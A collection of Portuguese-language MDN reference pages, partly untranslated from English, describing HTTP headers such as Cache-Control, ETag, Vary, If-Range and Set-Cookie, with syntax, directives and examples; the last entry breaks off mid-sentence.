{"title":"Proxy-Authorization - HTTP","text":"Proxy-Authorization\n===================\n\nO cabeçalho de requisição HTTP **`Proxy-Authorization`** contém as credenciais para autenticar o agente de usuário em um servidor proxy, usualmente depois do servidor responder com um código de status `407` `Proxy Authentication Required` e cabeçalho `Proxy-Authenticate`.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nProxy-Authorization: <type> <credentials>\n```\n\nDiretivas\n---------\n\n<type>\n\nTipo de autentação. Um tipo comum é \"Basic\". Veja também o registro IANA de esquemas de autenticação.\n\n<credentials>\n\nAs credenciais são construídas assim:\n\n* O nome de usuário e senha combinados com dois pontos (`aladdin:opensesame`).\n* O resultado é uma cadeia de caracteres codificado em base64 (en-US) (`YWxhZGRpbjpvcGVuc2VzYW1l`).\n\n**Nota:** Codificação Base64 não significa encriptação ou hashing! Esse método é igualmente seguro se mandar as credenciais em texto limpo (base64 é uma codificação reversível). Prefira o uso de HTTPS em conjunto com Autenticação Básica.\n\nExemplos\n--------\n```\n\nProxy-Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7235, sessão 4.4: Proxy-Authorization | HTTP/1.1: Authentication |\n| RFC 7617 | The 'Basic' HTTP Authentication Scheme |\n\nVeja também\n-----------\n\n* Autenticação HTTP\n* `Proxy-Authenticate`\n* `WWW-Authenticate`\n* `Authorization`\n* `401`, `403`, `407`"}
{"title":"Cache-Control - HTTP","text":"Cache-Control\n=============\n\nO campo de cabeçalho genérico **`Cache-Control`** é usado para especificar diretivas para mecanismos de *cache* tanto em requisições quanto em respostas. Diretivas de *cache* são unidirecionais, o que significa que uma dada diretiva em uma requisição não implica em que a mesma seja dada na resposta.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | General header |\n| Forbidden header name | não |\n| CORS-safelisted response-header (en-US) | sim |\n\nSintaxe\n-------\n\nAs diretivas são insensíveis à caixa (*case-insensitive)* e tem um argumento opcional, que pode usar tanto a sintaxe de token quanto a de cadeias entre aspas. Multiplas diretivas são separadas por virgula.\n\n### Diretivas de Cache de requisições\n\nDiretivas `Cache-Control` padrão que podem ser usadas pelo cliente em uma requisição HTTP.\n```\n\nCache-Control: max-age=<segundos>\nCache-Control: max-stale[=<segundos>]\nCache-Control: min-fresh=<segundos>\nCache-Control: no-cache\nCache-Control: no-store\nCache-Control: no-transform\nCache-Control: only-if-cached\n```\n\n### Diretivas de Cache de respostas\n\nDiretivas `Cache-Control` padrão que podem ser usadas pelo servidor em uma resposta HTTP.\n```\n\nCache-Control: must-revalidate\nCache-Control: no-cache\nCache-Control: no-store\nCache-Control: no-transform\nCache-Control: public\nCache-Control: private\nCache-Control: proxy-revalidate\nCache-Control: max-age=<segundos>\nCache-Control: s-maxage=<segundos>\n```\n\n### Diretivas `Cache-Control` Extendidas\n\nDiretivas `Cache-Control` extendidas não são parte do cerne do documento HTTP caching standards. Verifique a tabela de compatibilidade para certificar-se do seu suporte.\n```\n\nCache-Control: immutable\nCache-Control: stale-while-revalidate=<seconds>\nCache-Control: stale-if-error=<seconds>\n```\n\nDiretivas\n---------\n\n### Cacheabilidade\n\n`public`\n\nIndica que a resposta pode ser memorizada por qualquer cache.\n\n`private`\n\nIndica que a resposta é para um único usuário e não deve ser armazenada por um cache compartilhado. Um cache privativo pode armazenar a resposta.\n\n`no-cache`\n\nForça o cache a submeter a requisição ao servidor origem para validação antes de liberar a cópia em memória.\n\n`only-if-cached`\n\nIndica que novos dados não devem ser obtidos. Se este é o caso, o servidor deseja que o cliente obtenha a resposta somente uma vez e memorize (no cache). A partir desse momento o cliente deveria liberar somente a cópia em cache e evitar contactar o servidor origem para ver se há cópias novas.\n\n### Expiração\n\n`max-age=<segundos>`\n\nEspecifica o tempo máximo em que um recurso será considerado fresco. Ao contrário de `Expires`, esta diretiva é relativa à hora da requisição.\n\n`s-maxage=<segundos>`\n\nTem precedência sobre `max-age` ou o cabeçalho `Expires`, mas só se aplica a caches compartilhados (p.ex., proxies) e é ignorada por caches privados.\n\n`max-stale[=<segundos>]`\n\nIndica que o cliente pode aceitar uma resposta que excedeu seu período de expiração. Opcionalmente, você pode informar um valor em segundos, indicando o tempo em que a resposta não será expirada.\n\n`min-fresh=<segundos>`\n\nIndica que o cliente quer uma resposta que será fresca por pelo menos o número de segundos especificado.\n\n`stale-while-revalidate=<segundos>` \nExperimental\n\nIndica que o cliente aceitará uma resposta de caducidade enquanto verifica uma fresca assincronamente em *background*. O valor em segundos indica por quanto tempo o cliente espera a resposta de caducidade.\n\n`stale-if-error=<segundos>` \nExperimental\n\nIndica que o cliente espera aceitar uma resposta de caducidade se falhou a verificação de uma fresca. O valor em segundos indica quanto tempo o cliente aceitará a resposta de caducidade após a expiração inicial.\n\n### Revalidação e recarga\n\n`must-revalidate`\n\nO cache deve verificar o estado dos recursos caducos antes de usá-los e não usar recursos expirados.\n\n`proxy-revalidate`\n\nMesmo que `must-revalidate`, mas só se aplica a caches compartilhados (p.ex., proxies) e é ignorado por um cache privado.\n\n`immutable`\n\nIndica que o corpo da resposta não mudará ao longo do tempo. O recurso, se ainda hábil, está inalterado no servidor e portanto o cliente não deverá enviar uma revalidação condicional para ele (p.ex. `If-None-Match` ou `If-Modified-Since`) a fim de verificar atualiações, mesmo quando o usuário recarrega explicitamente a página. Clientes que não reconhecem esta extensão devem ignorá-la, segundo a especificação HTTP. No Firefox, `immutable` é honrado somente em transações `https://`. Para mais informações, veja também este blog post.\n\n### Outros\n\n`no-store`\n\nO cache não deverá armazenar qualquer coisa sobre a requisição do cliente ou a resposta do servidor.\n\n`no-transform`\n\nNenhuma transformação ou conversão deverá ser feita no recurso. Os cabeçalhos Content-Encoding, Content-Range, Content-Type não devem ser modificados por um proxy. Um proxy não transparente deve, por exemplo, converter formatos de imagens a fim de economizar espaço de cache ou reduzir o tráfego no link lento. A diretiva `no-transform` não permite isso.\n\nExemplos\n--------\n\n### Prevenindo o cache\n\nPara desligar o armazenamento em cache, você pode enviar o cabeçalho de resposta seguinte. Alem disso, veja também os cabeçalhos `Expires` e `Pragma`.\n\n\n```bash\nCache-Control: no-cache, no-store, must-revalidate\n```\n\n### Cache de conteúdo estático\n\nPara os arquivos da aplicação que não mudarão, você pode usar um cache mais agressivo enviando o cabeçalho de resposta abaixo. Isto inclui arquivos estáticos servidos pela aplicação tais como imagens, arquivos CSS e JavaScript, por exemplo. Veja também o cabeçalho `Expires`.\n\n\n```bash\nCache-Control: public, max-age=31536000\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7234 | Hypertext Transfer Protocol (HTTP/1.1): Caching |\n| RFC 5861 | HTTP Cache-Control Extensions for Stale Content |\n| RFC 8246 | HTTP Immutable Responses |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* HTTP Caching FAQ (en-US)\n* `Age`\n* `Expires`\n* `Pragma`"}
{"title":"Content-Encoding - HTTP","text":"Content-Encoding\n================\n\nThe **`Content-Encoding`** entity header is used to compress the media-type. When present, its value indicates which encodings were applied to the entity-body. It lets the client know how to decode in order to obtain the media-type referenced by the `Content-Type` header.\n\nThe recommendation is to compress data as much as possible and therefore to use this field, but some types of resources, such as jpeg images, are already compressed. Sometimes, using additional compression doesn't reduce payload size and can even make the payload longer.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Entity header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nContent-Encoding: gzip\nContent-Encoding: compress\nContent-Encoding: deflate\nContent-Encoding: identity\nContent-Encoding: br\n\n// Múltiplo, em ordem nos quais serão aplicados\nContent-Encoding: gzip, identity\nContent-Encoding: deflate, gzip\n```\n\nDiretivas\n---------\n\n`gzip`\n\nA format using the Lempel-Ziv coding (LZ77), with a 32-bit CRC. This is the original format of the UNIX *gzip* program. The HTTP/1.1 standard also recommends that the servers supporting this content-encoding should recognize `x-gzip` as an alias, for compatibility purposes.\n\n`compress`\n\nA format using the Lempel-Ziv-Welch (LZW) algorithm. The value name was taken from the UNIX *compress* program, which implemented this algorithm. Like the compress program, which has disappeared from most UNIX distributions, this content-encoding is not used by many browsers today, partly because of a patent issue (it expired in 2003).\n\n`deflate`\n\nUsing the zlib structure (defined in RFC 1950) with the *deflate* compression algorithm (defined in RFC 1951).\n\n`identity`\n\nIndicates the identity function (i.e., no compression or modification). This token, except if explicitly specified, is always deemed acceptable.\n\n`br`\n\nA format using the Brotli algorithm.\n\nExemplos\n--------\n\n### Comprimindo com gzip\n\nOn the client side, you can advertise a list of compression schemes that will be sent along in an HTTP request. The `Accept-Encoding` header is used for negotiating content encoding.\n```\n\nAccept-Encoding: gzip, deflate\n```\n\n\nThe server responds with the scheme used, indicated by the `Content-Encoding` response header.\n```\n\nContent-Encoding: gzip\n```\n\n\nNote that the server is not obligated to use any compression method. Compression highly depends on server settings and used server modules.\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7932: Brotli Compressed Data Format | Brotli Compressed Data Format |\n| RFC 7231, sessão 3.1.2.2: Content-Encoding | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n| RFC 2616, sessão 14.11: Content-Encoding | Content-Encoding |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Accept-Encoding`\n* `Transfer-Encoding`"}
{"title":"ETag - HTTP","text":"ETag\n====\n\nO HTTP provê no cabeçalho (header) da resposta (response), a **`ETag`** que é um identificador para uma versão específica de um recurso. A ETag permite que o cache torne-se mais eficiente e preserve o tráfego de dados (largura de banda), assim um web server não precisa reenviar uma resposta com todos os dados que não tiveram nenhuma mudança em seu conteúdo. Além disso, as ETags ajudam a impedir que atualizações simultâneas de um recurso sejam feitas por outros. Veja sobre (\"mid-air collisions\").\n\nSe o recurso numa URL sofre mudança, a `Etag` assume um novo valor que deve ser gerado pelo Web Server. Uma comparação entre elas podem determinar se as duas representações do recurso são iguais. Etags são similares às nossas impressões digitais, e por isso também podem ser usadas por alguns servidores como um forma de rastreamento. Elas podem ser configuradas a fim de que possam ser persistidas idenfinidamente por um servidor de rastreamento.\n\n|  |  |\n| --- | --- |\n| Header type | Response header (en-US) |\n| Forbidden header name | no |\n\nSintaxe\n-------\n```\n\nETag: W/\"<etag_value>\"\nETag: \"<etag_value>\"\n```\n\nDiretivas\n---------\n\n`W/` Optional\n\n`'W/'` (case-sensitive) Indica que um validador fraco está sendo usado (veja mais em weak validator (en-US)). *Etags Fracas* são fáceis de serem geradas, mas possuem a desvantagem de serem menos usadas para comparações. *Validadores Fortes* são ideais para comparações mas podem ser muito difíceis de serem gerados de uma forma eficaz. Os valores de uma Etag Fraca para duas representações de um único recurso podem ser equivalentes semanticamente, contudo não são idênticas em byte-for-byte. Isto significa que etags fracas impedem o cache efetivo quando requisições dentro de um intervalo de bytes são realizadas (veja mais em byte range requests ), ao passo que etags fortes permitem que um intervalo de requisições aindam possam ser preservadas no cache.\n\n\"<etag\\_value>\"\n\nTag na Entidade que possui valor único o qual está representando o recurso requisitado. O valor será do tipo string com caracteres em ASCII que será exibido dentro de aspas duplas, como pode se vê ao lado `\"675af34563dc-tr34\"`. O método por qual o valor da `ETag` foi gerado não está especificado. Frequentemente, uma hash do conteúdo, uma hash da última modificação ou somente um número de revisão é usado. Por exemplo o MDN usa uma hash hexadecimal para o conteúdo do artigo da wiki.\n\nExemplos\n--------\n```\n\nETag: \"33a64df551425fcc55e4d42a148795d9f25f89d4\"\nETag: W/\"0815\"\n```\n\n### Fugindo de ediçoes simultâneas\n\nCom a ajuda da `ETag` e o cabeçalho `If-Match` (*headers*), você pode detectar choque de edições simultânes.\n\nPor exemplo, quando editamos o MDN, o conteúdo atual da wiki é criptografado e colocado dentro de uma `Etag` da resposta (response).\n```\n\nETag: \"33a64df551425fcc55e4d42a148795d9f25f89d4\"\n```\n\n\nQuando salvamos as mudanças para a página da wiki, (posting data), a requisição `POST` conterá o cabeçalho `If-Match` contendo o valor da `ETag` para checar a atualização.\n```\n\nIf-Match: \"33a64df551425fcc55e4d42a148795d9f25f89d4\"\n```\n\n\nSe o hash não for compatível, isto significa que o documento foi editado durante determinado intervalo e uma resposta com o status `412` `Precondition Failed` será enviada ao cliente.\n\n### Armazenando recursos sem alterações\n\nOutro uso típico de cabeçalho (header) com a `ETag` é para guardar recursos que não foram alterados. Se um usuário visitar um recurso dado por uma URL de novo, (é necessaíro ter a `ETag` configurada), e ele deseja saber se está obsoleto (*stale)* (ou antigo para ser considerado como utilizável), o cliente enviará o valor da sua `ETag` por meio de um atributo no cabeçalho `If-None-Match`, veja o exemplo abaixo:\n```\n\nIf-None-Match: \"33a64df551425fcc55e4d42a148795d9f25f89d4\"\n```\n\n\nO servidor irá comparar a `ETag` do cliente (enviada com `If-None-Match`) com a versão da `ETag` disponível para o recurso, e se ambos os valores forem compatíveis (isto é, o recurso não foi modificado), o servidor enviará de volta a resposta com status `304` `Sem Modificação (Not modified)`, porém sem um body, comunicando ao cliente que a versão guardada na resposta ainda está atualizada (ou boa para uso, *fresh*).\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7232, sessão 2.3: ETag | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `If-Match`\n* `If-None-Match`\n* `304` `Not Modified`\n* `412` `Precondition Failed`\n* W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout"}
{"title":"Accept-Language - HTTP","text":"Accept-Language\n===============\n\nO cabeçalho HTTP **`Accept-Language`** anuncia quais linguas o cliente é capaz de entender, e qual é a preferência do variante do Locale. (Por Linguas, queremos dizer linguas como Inglês e portugues) Usando content negotiation, o servidor seleciona uma das propostas, usa ela e informa o cliente da sua escolha com o `Content-Language` cabeçalho de responsta. Navegadores configuram valores adequados para este cabeçalhos de acordo com a língua configurada pelo usuario.\n\nEste cabeçalho é uma dica a ser usada pelo servidor quando ele não possui outra forma de determinar a lingua do cliente, como uma URL específica, que é controlada por uma decisão explicita do usuário. É recomendado que o servidor nunca sobreescreva uma decisão explícita. O conteúdo de `Accept-Language` está comumente fora do controle do usuário (em uma viagem a outro país por exemplo); O usuário pode querer acessar a página em outra língua diferente da decidida pelo navegador.\n\nSe o servicor não encontrar uma língua correspondente, ele pode, teóricamente responder com o código de erro`406` (Not Acceptable) . Mas, para uma melhor experiência de usuário, isso raramente é feito. Mais comumente, quando isso ocorre, o cabeçalho é ignorado.\n\n|  |  |\n| --- | --- |\n| Tipo de Cabeçalho | Request header |\n| Forbidden header name | no |\n| CORS-safelisted request-header (en-US) | yes |\n\nSyntax\n------\n```\n\nAccept-Language: <language>\nAccept-Language: *\n\n// Multiple types, weighted with the quality value (en-US) syntax:\nAccept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5\n```\n\nDiretivas\n---------\n\n`<language>`\n\nA tag language (a qual pode ser chamada de \"identificador de Locale\") consiste de uma tag de 2 a 3 letras representando a lingua, opcionalmente pode ser seguida de um `'-'` separa outras informações extras. A mais comum informação extra é a região do país (como`'pt-BR'` ou `'pt-PT'`) ou o tipo do alfabeto a ser usado (como`'sr-Latn'`). Outras variantes como o tipo de ortografia (`'de-DE-1996'`) normalmente não são utilizadas no contexto deste cabeçalho.\n\n`*`\n\nQualquer lingua; `'*'` é utilizado como curinga.\n\n`;q=` (q-factor weighting)\n\nAny value placed in an order of preference expressed using a relative quality value (en-US) called *weight*.\n\nExamples\n--------\n```\n\nAccept-Language: de\n\nAccept-Language: de-CH\n\nAccept-Language: en-US,en;q=0.5\n```\n\nSpecifications\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 5.3.5: Accept-Language | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context |\n| BCP 47 | Tags for the Identification of Language |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* HTTP content negotiation\n* Header with the result of the content negotiation: `Content-Language`\n* Other similar headers: `TE`, `Accept-Encoding`, `Accept-Charset`, `Accept`"}
{"title":"Vary - HTTP","text":"Vary\n====\n\nO cabeçalho de resposta HTTP **`Vary`** determina como corresponder futuros cabeçalhos de requisição para decidir se uma resposta cacheada pode ser usada ao invés de solicitar uma nova do servidor de origem. Ele é usado pelo servidor para indicar quais cabeçalhos ele utilizou quando selecionando a representação do recurso em um algoritmo de negociação de conteúdo.\n\nO cabeçalho `Vary` deve ser colocado em uma resposta `304` `Not Modified` exatamente como seria colocado em uma resposta `200` `OK` equivalente.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nVary: *\nVary: <header-name>, <header-name>, ...\n```\n\nDiretivas\n---------\n\n\\*\n\nCada requisição para a URL é supostamente tratada como uma requisição única e incacheavél. Um jeito melhor de indicar isso é usar `Cache-Control`: `no-store`, que é mais limpo para se ler e também sinaliza que o objeto não deve ser guardado nunca.\n\n<header-name>\n\nUma lista separada por vírgula de nomes de cabeçalhos para levar em conta quando for decidir se uma resposta cacheada pode ser usada.\n\nExemplos\n--------\n\n### Servimento dinâmico\n\nQuando utilizando o cabeçalho `Vary: User-Agent`, servidores de cacheamento devem considerar o agente de usuário quando estiverem decidindo se irão servir a página do cache. Por exemplo, se você está servindo conteúdo diferente para usuários móveis, ele pode ajudar você a evitar que um cache possa erroneamente servir uma versão desktop do seu site, para os usuários móveis. Ele pode ajudar o Google e outros motores de busca a descobrir a versão móvel da página, e talvez possa dizer a eles que não existe intenção de Cloaking.\n```\n\nVary: User-Agent\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 7.1.4: Vary | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas de compatibilidade\n------------------------\n\n* Vary com cuidado – Problemas do cabeçalho Vary em IE6-9\nVeja também\n-----------\n\n* Entendendo o cabeçalho Vary (Understanding The Vary Header) - Smashing Magazine\n* Melhores práticas quando utilizando o cabeçalho Vary (Best Practices for Using the Vary Header) – fastly.com\n* Negociação de conteúdo"}
{"title":"If-Range - HTTP","text":"If-Range\n========\n\nO cabeçalho de requisição HTTP **`If-Range`** faz uma requisição de intervalo condicional: se a condição é realizada, a requisição de intervalo será enviada e o servidor mandará de volta como resposta um `206` `Partial Content` com o corpo apropriado. Se a condição não é realizada, a recurso inteiro é enviado de volta, com um código de status `200` `OK`.\n\nEste cabeçalho pode ser usado ou com um validador `Last-Modified`, ou com um `ETag`, mas não com ambos.\n\nO caso de uso mais comum é continuar um *download*, para garantir que o recurso guardado não tenha sido modificado desde o último fragmento que foi recebido.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nIf-Range: <nome-dia>, <dia> <mês> <ano> <hora>:<minuto>:<segundo> GMT\nIf-Range: <etag>\n```\n\nDiretivas\n---------\n\n<etag>\n\n*Tags* de entidade que representam unicamente os recursos requisitados. Eles são uma cadeia de caracteres ASCII colocados entre aspas duplas (como `\"675af34563dc-tr34\"`). Elas podem ser prefixadas por `W/` para indicar que o *algoritmo de comparação fraco* deve ser utilizado.\n\n<nome-dia>\n\nUm entre \"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", or \"Sun\" (sensível ao caso).\n\n<dia>\n\n2 digitos, número do dia. Por exemplo \"04\" ou \"23\".\n\n<mês>\n\nUm entre \"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\" (sensível ao caso).\n\n<ano>\n\n4 digitos, número do ano,. Por exemplo. \"1990\" ou \"2016\".\n\n<hora>\n\n2 digitos, número da hora. Por exemplo. \"09\" ou \"23\".\n\n<minuto>\n\n2 digiitos, número do minuto. Por exemplo. \"04\" ou \"59\".\n\n<segundo>\n\n2 digitos, número dos segundo, Por exemplo. \"04\" ou \"59\".\n\n`GMT`\n\nHorário de Greenwich (Greenwich Mean Time). Datas HTTP sempre são expressas em GMT, nunca em tempo local.\n\nExemplos\n--------\n```\n\nIf-Range: Wed, 21 Oct 2015 07:28:00 GMT\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7233, sessão 3.2: If-Range | Hypertext Transfer Protocol (HTTP/1.1): Range Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `ETag`\n* `Last-Modified`\n* `If-Modified-Since`\n* `If-Unmodified-Since`\n* `If-Match`\n* `If-None-Match`\n* `206` `Partial Content`\n* Requisições Condicionais HTTP (en-US)"}
{"title":"Warning - HTTP","text":"Warning\n=======\n\n**Nota:** O cabeçalho `Warning` será depreciado em breve; veja Warning (https://github.com/httpwg/http-core/issues/139) e Warning: header & stale-while-revalidate (https://github.com/whatwg/fetch/issues/913) para mais detalhes.\n\nO cabeçalho geral HTTP **`Warning`** contém informação sobre possíveis problemas com o status da mensagem. Mais de um cabeçalho `Warning` pode aparecer na resposta.\n\nO cabeçalho `Warning` geralmente pode ser aplicado para qualquer mensagem, entretanto alguns códigos de aviso são específicos para caches e podem somente ser aplicados para mensagens de resposta.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalhos | General header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nWarning: <warn-code> <warn-agent> <warn-text> [<warn-date>]\n```\n\nDiretivas\n---------\n\n<warn-code>\n\nUm número de aviso de três dígitos. O primeiro dígito indica se é necessário o `Warning` ser deletado de uma resposta guardada depois da validação.\n\n* Códigos de aviso `1xx` descrevem o frescor ou status de validação da resposta e será deletado por um cache depois da deleção.\n* Códigos de aviso `2xx` descrevem algum aspecto da representação que não é retificada por uma validação e não será deletado por uma cache depois da validação a não que a resposta completa seja enviada.\n\n<warn-agent>\n\nO nome ou pseudônimo do servidor ou software adicionando o cabeçalho `Warning` (pode ser \"-\" quando o agente não é conhecido).\n\n<warn-text>\n\nTexto consultivo descrevendo o erro.\n\n<warn-date>\n\nOpcional. Se mais de um cabeçalho `Warning` é enviado, inclui a data que corresponde com o cabeçalho `Date`.\n\nCódigos de aviso (Warning)\n--------------------------\n\nO registro de Códigos de Aviso HTTP em iana.org define o espaço de nomes para códigos de aviso.\n\n| Código | Texto | Descrição |\n| --- | --- | --- |\n| 110 | Resposta está velha | A resposta provida pela cache está velha (o tempo de expiração já passou). |\n| 111 | Revalidação falhou | Uma tentaiva de validar a resposta falhou, por causa da impossibilidade de alcançar o servidor. |\n| 112 | Operação Desconectou | O cache desconectou do resto da rede. |\n| 113 | Expiração Heurística | Enviado se a cache escolhe heuristicamente um tempo de vida fresco maior que 24 horas e a idade da resposta é maior que 24 horas. |\n| 199 | Aviso diverso | Arbitrário, aviso não específico. |\n| 214 | Transformação aplicada | Adicionado por um proxy se ele aplica qualquer transformação na representação, como mudar a codificação de conteúdo, tipo de media ou semelhante. |\n| 299 | Aviso diverso persistente | O mesmo que 199, mas indicando um aviso persistente. |\n\nExemplos\n--------\n```\n\nWarning: 110 anderson/1.3.37 \"Response is stale\"\n\nDate: Wed, 21 Oct 2015 07:28:00 GMT\nWarning: 112 - \"cache down\" \"Wed, 21 Oct 2015 07:28:00 GMT\"\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7234, sessão 5.5: Warning | Hypertext Transfer Protocol (HTTP/1.1): Caching |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date`\n* Código de resposta de status HTTP"}
{"title":"Accept-Ranges - HTTP","text":"Accept-Ranges\n=============\n\nO cabeçalho de resposta HTTP **`Accept-Ranges`** é um marcador usado pelo servidor para indicar que ele suporta requisições parciais. O valor deste campo indica a unidade utilizada para definir o tamanho.\n\nNa presença do cabeçalho `Accept-Ranges`, o navegador pode tentar retomar um *download* interrompido, ao invés de começar de novo do início.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nAccept-Ranges: bytes\nAccept-Ranges: none\n```\n\nDiretivas\n---------\n\n`none`\n\nNenhuma unidade de tamanho é suportada, isso faz com que o cabeçalho seja equivalente a sua própria ausência, sendo então raramente usado, apesar de que alguns navegadores, como o IE9, é usado para habilitar ou desabilitar os botões de pausa no gerenciador de downloads.\n\n`bytes`\n\nA unidade de tamanho são bytes.\n\nExemplos\n--------\n```\n\nAccept-Ranges: bytes\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7233, sessão 2.3: Accept-Ranges | Hypertext Transfer Protocol (HTTP/1.1): Range Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `If-Range`\n* `Range`"}
{"title":"Set-Cookie - HTTP","text":"Set-Cookie\n==========\n\nO cabeçalho de resposta HTTP **`Set-Cookie`** é usado para enviar cookies de um servidor para o agente usuário.\n\nPara mais informações, veja o guia em HTTP cookies.\n\n|  |  |\n| --- | --- |\n| Header type | Response header (en-US) |\n| Forbidden header name | no |\n\nSintaxe\n-------\n```\n\nSet-Cookie: <nome-cookie>=<valor-cookie>\nSet-Cookie: <nome-cookie>=<valor-cookie>; Expires=<date>\nSet-Cookie: <nome-cookie>=<valor-cookie>; Max-Age=<non-zero-digit>\nSet-Cookie: <nome-cookie>=<valor-cookie>; Domain=<domain-value>\nSet-Cookie: <nome-cookie>=<valor-cookie>; Path=<path-value>\nSet-Cookie: <nome-cookie>=<valor-cookie>; Secure\nSet-Cookie: <nome-cookie>=<valor-cookie>; HttpOnly\n\nSet-Cookie: <nome-cookie>=<valor-cookie>; SameSite=Strict\nSet-Cookie: <nome-cookie>=<valor-cookie>; SameSite=Lax\n\n// São possíveis multiplas diretivas, por exemplo:\nSet-Cookie: <nome-cookie>=<valor-cookie>; Domain=<domain-value>; Secure; HttpOnly\n```\n\nDiretivas\n---------\n\n`<nome-cookie>=<valor-cookie>`\n\nUm cookie começa com um par nome-valor:\n\n* Um `<nome-cookie>` pode ser qualquer caractere US-ASCII exeto caracteres de controle (CTLs), espaços, ou tabulações (TAB). Também não deve conter um separador de caractere como os seguintes: ( ) < > @ , ; : \\ \" / [ ] ? = { }.\n* Um `<valor-cookie>` pode opcionalmente ser atribuido entre aspas duplas e qualquer caractere US-ASCII são permitidos, exceto caracteres de controle (CTLs), espaços em branco, aspas duplas, vírgula, barra invertida e ponto e vírgula. **Codificação**: Muitas implementações realizam codificação URL nos valores de cookie, contudo não é obrigatório pela especificação do RFC. Isso ajuda a satisfazer os requisitos sobre quais caracteres são permitidos para <valor-cookie>.\n* **`Prefixo __Secure-`**: Cookies com o nome começando com `__Secure-` (hífen faz parte do prefixo) precisam ser atribuidos com a flag de segurança e precisam ser de uma página segura (HTTPS).\n* **`Prefixo __Host-`**: Cookies com o nome começando com `__Host-` (hífen faz parte do prefixoprecisam ser atribuidos com a flag de segurança, precisam ser de uma página segura (HTTPS), não precisam ter um domínio especificado (portanto não são enviados para subdomínios) e o caminho (path) precisa ser \"/\".\n\nExpires=<data> Optional\n\nO tempo de vida máximo do cookie como uma marcação de tempo (timestamp) HTTP. Veja `Date` para a formatação detalhada.\n\nSe não especificado, o cookie terá o tempo de vida de uma **sessão de cookie.** Uma sessão é finalizada quando o cliente é desligado, significando que as sessões de cookies serão removidos nesse momento. Contudo, muitos navegadores web têm uma característica denominada de \"restaurar sessão\" que salvará todas suas abas e as trará de volta na próxima vez em que você utilizar o navegador. Os cookies estarão também presentes e será como se o navegador nunca tivesse sido fechado.\n\nQuando uma data de expiração é atribuída, o tempo e a data são relativos ao cliente em que os cookies estão sendo configurados e não ao servidor.\n\nMax-Age=<digito-diferente-de-0> Optional\n\nNúmero de segundos até o cookie expirar. Um ou mais digitos de 1 a 9. Navegadores antigos (ie6, ie7 e ie8) não suportam Max-Age. Para cada navegador, se ambos (Expires e Max-Age) forem atribuídos, Max-Age terá precedência.\n\nDomain=<valor-domínio> Optional\n\nEspecifica os hosts aos quais o cookie será enviado.\n\n* Se não for especificado, será usado o host do URL do documento atual, não incluindo subdomínios.\n* Ao contrário das especificações anteriores, pontos de prefixo em nomes de domínio (`.example.com`) são ignorados.\n* Se um domínio for especificado, subdomínios estarão sempre incluídos.\n\nPath=<valor-caminho> Optional\n\nIndica um caminho (path) de URL que necessita existir no recurso solicitado antes de enviar o cabeçalho de Cookie. O caractere %x2F (\"/\") é interpretado como um separador de diretório e os sub-diretórios serão também correspondidos (por exemplo: Path=/docs, \"/docs\", \"/docs/Web\", ou \"/docs/Web/HTTP\" serão todos correspondidos).\n\nSecure Optional\n\nUm cookie seguro apenas será enviado para o servidor quando uma requisição utilizando os protocol SSL e HTTPS for realizada. No entanto, informações confidenciais ou sensíveis não deverão ser armazenadas ou transmitidas em Cookies HTTP pois todo o mecanismo é 